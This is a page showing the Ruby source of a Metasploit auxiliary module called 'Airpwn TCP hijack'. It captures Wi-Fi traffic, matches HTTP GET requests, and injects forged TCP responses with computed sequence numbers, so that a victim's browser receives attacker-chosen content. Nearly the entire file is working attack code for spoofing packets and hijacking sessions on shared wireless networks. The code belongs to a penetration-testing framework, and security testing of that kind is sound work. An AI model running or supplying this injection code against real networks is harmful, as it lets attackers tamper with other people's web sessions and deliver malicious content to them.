root / modules / auxiliary / spoof / wifi / airpwn.rb @ master
History | View | Annotate | Download (5.8 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
require 'yaml'
|
| 14 |
|
| 15 |
class Metasploit3 < Msf::Auxiliary |
| 16 |
|
| 17 |
include Msf::Exploit::Capture |
| 18 |
include Msf::Exploit::Lorcon2 |
| 19 |
include Msf::Auxiliary::Report |
| 20 |
|
| 21 |
def initialize |
| 22 |
super(
|
| 23 |
'Name' => 'Airpwn TCP hijack', |
| 24 |
'Version' => '$Revision$', |
| 25 |
'Description' => %q{ |
| 26 |
TCP streams are 'protected' only in so much as the sequence |
| 27 |
number is not guessable. |
| 28 |
|
| 29 |
Wifi is shared media. |
| 30 |
|
| 31 |
Got your nose. |
| 32 |
|
| 33 |
Responses which do not begin with Header: Value assumed to be |
| 34 |
HTML only and will have Header:Value data prepended. Responses |
| 35 |
which do not include a Content-Length header will have one generated. |
| 36 |
},
|
| 37 |
'Author' => ['toast', 'dragorn', 'ddz', 'hdm'], |
| 38 |
'License' => MSF_LICENSE, |
| 39 |
'Actions' =>
|
| 40 |
[ |
| 41 |
[ 'Airpwn' ]
|
| 42 |
], |
| 43 |
'PassiveActions' =>
|
| 44 |
[ |
| 45 |
'Capture'
|
| 46 |
], |
| 47 |
'DefaultAction' => 'Airpwn' |
| 48 |
) |
| 49 |
|
| 50 |
register_options( |
| 51 |
[ |
| 52 |
OptPath.new('SITELIST', [ false, "YAML file of URL/Replacement pairs for GET replacement", |
| 53 |
File.join(Msf::Config.install_root, "data", "exploits", "wifi", "airpwn", "sitelist.yml") |
| 54 |
]), |
| 55 |
OptBool.new('USESITEFILE', [ true, "Use site list file for match/response", "false"]), |
| 56 |
OptString.new('FILTER', [ true, "Default BPF filter", "port 80"]), |
| 57 |
OptString.new('MATCH', [ true, "Default request match", "GET ([^ ?]+) HTTP" ]), |
| 58 |
OptString.new('RESPONSE', [ true, "Default response", "Airpwn" ]), |
| 59 |
], self.class)
|
| 60 |
end
|
| 61 |
|
| 62 |
def run |
| 63 |
|
| 64 |
@sitelist = datastore['SITELIST'] |
| 65 |
@regex = datastore['MATCH'] |
| 66 |
@response = datastore['RESPONSE'] |
| 67 |
@filter = datastore['FILTER'] |
| 68 |
@useyaml = datastore['USESITEFILE'] |
| 69 |
|
| 70 |
@http = []
|
| 71 |
|
| 72 |
if @useyaml then |
| 73 |
begin
|
| 74 |
@http = YAML::load_file(@sitelist) |
| 75 |
|
| 76 |
rescue ::Exception => e |
| 77 |
print_error "AIRPWN: failed to parse YAML file, #{e.class} #{e} #{e.backtrace}"
|
| 78 |
end
|
| 79 |
else
|
| 80 |
@http[0] = { "regex" => [@regex], "response" => @response } |
| 81 |
end
|
| 82 |
|
| 83 |
@run = true |
| 84 |
|
| 85 |
print_status "AIRPWN: Parsing responses and defining headers"
|
| 86 |
|
| 87 |
# Prep the responses
|
| 88 |
@http.each do |r| |
| 89 |
if not r["response"] then |
| 90 |
if not r["file"] then |
| 91 |
print_error "AIRPWN: Missing 'response' or 'file' in yaml config"
|
| 92 |
r["txresponse"] = "" |
| 93 |
else
|
| 94 |
r["txresponse"] = "" |
| 95 |
begin
|
| 96 |
File.open(r["file"], "rb") do |io| |
| 97 |
r["txresponse"] += io.read(4096) |
| 98 |
end
|
| 99 |
rescue EOFError |
| 100 |
rescue ::Exception => e |
| 101 |
print_error("AIRPWN: failed to parse response file " +
|
| 102 |
"#{r['file']}, #{e.class} #{e} #{e.backtrace}")
|
| 103 |
end
|
| 104 |
end
|
| 105 |
else
|
| 106 |
if r["file"] then |
| 107 |
print_error "AIRPWN: Both 'response' and 'file' in yaml config, " +
|
| 108 |
"defaulting to 'response'"
|
| 109 |
end
|
| 110 |
|
| 111 |
r["txresponse"] = r["response"] |
| 112 |
end
|
| 113 |
|
| 114 |
# If we have headers
|
| 115 |
if r["txresponse"].scan(/[^:?]+: .+\n/m).size > 0 |
| 116 |
# But not a content-length
|
| 117 |
if r["txresponse"].scan(/^Content-Length: /).size == 0 |
| 118 |
# Figure out the length and add it
|
| 119 |
loc = (/\n\n/m =~ r["txresponse"]) |
| 120 |
if loc == nil |
| 121 |
print_status "AIRPWN: Response packet looks like HTTP headers but can't find end of headers. Will inject as-is."
|
| 122 |
else
|
| 123 |
print_status "AIRPWN: Response packet looks like HTTP headers but has no Content-Length, adding one."
|
| 124 |
r["txresponse"].insert(loc, "\r\nContent-Length: " + (r["response"].length - loc).to_s) |
| 125 |
end
|
| 126 |
end
|
| 127 |
else
|
| 128 |
# We have no headers, generate a response
|
| 129 |
print_status "AIRPWN: Response packet has no HTTP headers, creating some."
|
| 130 |
r["txresponse"].insert(0, "HTTP/1.1 200 OK\r\nDate: %s\r\nServer: Apache\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: %d\r\n\r\n" % [Time.now, @response.size]) |
| 131 |
end
|
| 132 |
end
|
| 133 |
|
| 134 |
print_status "Opening wifi module."
|
| 135 |
open_wifi |
| 136 |
|
| 137 |
self.wifi.filter = @filter if (@filter != "") |
| 138 |
each_packet do |pkt|
|
| 139 |
|
| 140 |
d3 = pkt.dot3 |
| 141 |
|
| 142 |
next if not d3 |
| 143 |
p = PacketFu::Packet.parse(d3) rescue nil |
| 144 |
next unless p.is_tcp? |
| 145 |
|
| 146 |
@http.each do |r| |
| 147 |
hit = nil
|
| 148 |
r['regex'].each do |reg| |
| 149 |
hit = p.payload.scan(/#{reg}/) || nil |
| 150 |
break if hit.size != 0 |
| 151 |
end
|
| 152 |
next if hit.size.zero? |
| 153 |
|
| 154 |
print_status("AIRPWN: %s -> %s HTTP GET [%s] TCP SEQ %u" % [p.ip_saddr, p.ip_daddr, $1, p.tcp_seq]) |
| 155 |
|
| 156 |
injpkt = Lorcon::Packet.new() |
| 157 |
injpkt.bssid = pkt.bssid |
| 158 |
|
| 159 |
response_pkt = PacketFu::TCPPacket.new |
| 160 |
response_pkt.eth_daddr = p.eth_saddr |
| 161 |
response_pkt.eth_saddr = p.eth_daddr |
| 162 |
response_pkt.ip_saddr = p.ip_daddr |
| 163 |
response_pkt.ip_daddr = p.ip_saddr |
| 164 |
response_pkt.ip_ttl = p.ip_ttl |
| 165 |
response_pkt.tcp_sport = p.tcp_dport |
| 166 |
response_pkt.tcp_dport = p.tcp_sport |
| 167 |
response_pkt.tcp_win = p.tcp_win |
| 168 |
response_pkt.tcp_seq = p.tcp_ack |
| 169 |
response_pkt.tcp_ack = (p.tcp_seq + p.ip_header.body.to_s.size - (p.tcp_hlen * 4)) & 0xffffffff |
| 170 |
response_pkt.tcp_flags.ack = 1
|
| 171 |
response_pkt.tcp_flags.psh = 1
|
| 172 |
response_pkt.payload = r["txresponse"]
|
| 173 |
response_pkt.recalc |
| 174 |
injpkt.dot3 = response_pkt.to_s |
| 175 |
|
| 176 |
case pkt.direction
|
| 177 |
when ::Lorcon::Packet::LORCON_FROM_DS |
| 178 |
injpkt.direction = Lorcon::Packet::LORCON_TO_DS |
| 179 |
when ::Lorcon::Packet::LORCON_TO_DS |
| 180 |
injpkt.direction = Lorcon::Packet::LORCON_FROM_DS |
| 181 |
else
|
| 182 |
injpkt.direction = Lorcon::Packet::LORCON_ADHOC_DS |
| 183 |
end
|
| 184 |
|
| 185 |
self.wifi.inject(injpkt) or print_error("AIRPWN failed to inject packet: " + tx.error) |
| 186 |
|
| 187 |
response_pkt.tcp_seq = response_pkt.tcp_seq + response_pkt.payload.size |
| 188 |
response_pkt.tcp_flags.ack = 1
|
| 189 |
response_pkt.tcp_flags.psh = 0
|
| 190 |
response_pkt.tcp_flags.fin = 1
|
| 191 |
response_pkt.payload = 0
|
| 192 |
response_pkt.recalc |
| 193 |
|
| 194 |
injpkt.dot3 = response_pkt.to_s |
| 195 |
self.wifi.inject(injpkt) or print_error("AIRPWN failed to inject packet: " + tx.error) |
| 196 |
end
|
| 197 |
end
|
| 198 |
|
| 199 |
end
|
| 200 |
|
| 201 |
end
|